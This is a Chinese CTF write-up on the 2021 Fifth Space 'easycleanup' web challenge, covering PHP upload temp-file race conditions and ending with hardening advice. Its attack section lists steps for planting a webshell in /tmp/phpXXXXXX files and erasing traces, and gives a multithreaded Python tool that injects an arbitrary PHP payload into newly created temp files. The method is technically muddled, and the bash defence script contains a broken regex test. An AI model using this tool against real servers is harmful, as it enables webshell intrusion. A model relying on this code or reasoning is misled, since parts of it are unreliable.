2021第五空间智能安全大赛Web赛题解析:easycleanup漏洞利用与防御实战

1次阅读
没有评论

共计 2902 个字符,预计需要花费 8 分钟才能阅读完成。

image.webp

背景分析

PHP 临时文件上传机制

PHP 处理文件上传时会先将文件保存在临时目录(由 php.ini 中的 upload_tmp_dir 指定),默认是系统的 /tmp 目录。这个临时文件会在脚本执行结束后被自动删除。关键配置项包括:

2021 第五空间智能安全大赛 Web 赛题解析:easycleanup 漏洞利用与防御实战

  • upload_max_filesize:控制最大上传文件大小
  • post_max_size:POST 数据最大尺寸
  • max_file_uploads:单次请求允许上传的最大文件数

当用户上传文件时,PHP 会生成类似 /tmp/phpXXXXXX 的临时文件(其中 X 是随机字符),直到脚本调用 move_uploaded_file() 完成正式保存。

竞争条件的危害

Race Condition(竞争条件)在这里特指攻击者利用临时文件创建和删除之间的时间差进行操作。由于 PHP 默认临时目录是全局可写的,且文件名可预测,攻击者可以通过以下方式利用:

  1. 不断扫描临时目录寻找新创建的 PHP 临时文件
  2. 在文件被删除前植入恶意代码
  3. 通过其他方式触发该文件执行

题目环境分析

比赛环境设置了典型的防御措施:

disable_functions = exec,passthru,shell_exec,system,proc_open,popen

但存在以下可利用点:

  • 临时目录保持默认/tmp
  • 未设置 open_basedir 限制
  • 服务器配置允许解析 .php 文件

漏洞利用实战

攻击步骤分解

  1. 启动多线程扫描 /tmp 目录
  2. 当发现 phpXXXXXX 文件时立即写入 webshell
  3. 通过 HTTP 请求触发文件执行
  4. 清理攻击痕迹

Python 自动化脚本

#!/usr/bin/env python3
import argparse
import threading
import time
import os
import logging
from queue import Queue

# 配置日志记录
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(levelname)s - %(message)s'
)

def monitor_tmp_dir(q, interval=0.1):
    """监控 /tmp 目录变化"""
    known_files = set()
    while True:
        current_files = set(os.listdir('/tmp'))
        new_files = current_files - known_files

        for f in new_files:
            if f.startswith('php') and len(f) == 9:
                q.put(f)
                logging.info(f'发现临时文件: {f}')

        known_files = current_files
        time.sleep(interval)

def exploit_file(filename, payload):
    """利用临时文件"""
    path = f'/tmp/{filename}'
    try:
        with open(path, 'wb') as f:
            f.write(payload.encode())
        logging.info(f'成功写入 payload 到 {path}')
        return True
    except Exception as e:
        logging.error(f'写入失败: {e}')
        return False

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='PHP 临时文件竞争条件利用工具')
    parser.add_argument('-t', '--threads', type=int, default=5, help='监控线程数')
    parser.add_argument('-p', '--payload', required=True, help='要写入的 PHP payload')
    args = parser.parse_args()

    file_queue = Queue()
    payload = f"<?php {args.payload} ?>"

    # 启动监控线程
    for i in range(args.threads):
        t = threading.Thread(
            target=monitor_tmp_dir,
            args=(file_queue,),
            daemon=True
        )
        t.start()

    # 处理发现的文件
    while True:
        target_file = file_queue.get()
        exploit_file(target_file, payload)

关键点说明:

  1. 使用多线程提高竞争成功率
  2. 文件发现和写入操作分离,降低时间窗口要求
  3. 每个线程独立扫描,增加捕获机会

防御方案

方案 1:修改 php.ini 配置

; 专用临时目录
upload_tmp_dir = /var/www/upload_tmp

; 限制目录权限
open_basedir = /var/www

实施步骤:

  1. 创建专用目录并设置权限

    mkdir -p /var/www/upload_tmp
    chown www-data:www-data /var/www/upload_tmp
    chmod 750 /var/www/upload_tmp

  2. 重启 PHP 服务

    systemctl restart php-fpm

优点:

  • 配置简单
  • 无需额外软件

缺点:

  • 需要服务器重启
  • 不防御其他类型的竞争条件

方案 2:inotify 监控方案

#!/bin/bash

TMP_DIR=/tmp
LOG_FILE=/var/log/tmp_monitor.log

# 安装依赖
if ! command -v inotifywait &> /dev/null; then
    apt-get install -y inotify-tools
fi

# 创建日志目录
mkdir -p $(dirname $LOG_FILE)
touch $LOG_FILE

# 监控循环
inotifywait -m -r -e create --format '%w%f' $TMP_DIR | \
while read file; do
    if [[$file =~ /tmp/php[[:alnum:]]{6}$ ]]; then
        echo "[$(date)] 检测到临时文件: $file" >> $LOG_FILE

        # 立即修改权限
        chmod 600 "$file"

        # 可选:移动文件到安全位置
        # safe_dir=/var/secured_tmp
        # mkdir -p $safe_dir
        # mv "$file" "$safe_dir/$(basename $file)"
    fi
done

实施建议:

  1. 通过 systemd 设置为常驻服务
  2. 配合 logrotate 管理日志文件

优点:

  • 实时防护
  • 可扩展性强

缺点:

  • 需要额外软件
  • 可能影响性能

避坑指南

常见错误配置

  1. 临时目录全局可写(777 权限)
  2. 使用默认 /tmp 目录
  3. 未设置open_basedir
  4. 未限制 PHP 执行目录
  5. 未配置日志监控

安全加固清单

  1. [] 设置专用upload_tmp_dir
  2. [] 配置适当的目录权限(750)
  3. [] 启用 open_basedir 限制
  4. [] 定期审计临时文件
  5. [] 实施文件完整性监控

延伸思考

  1. 如何在不使用 inotify 的情况下实现类似的监控功能?
  2. 如果服务器禁用所有危险函数,还有哪些可能的利用方式?
  3. 除了文件上传,还有哪些场景容易出现竞争条件漏洞?
正文完
 0
评论(没有评论)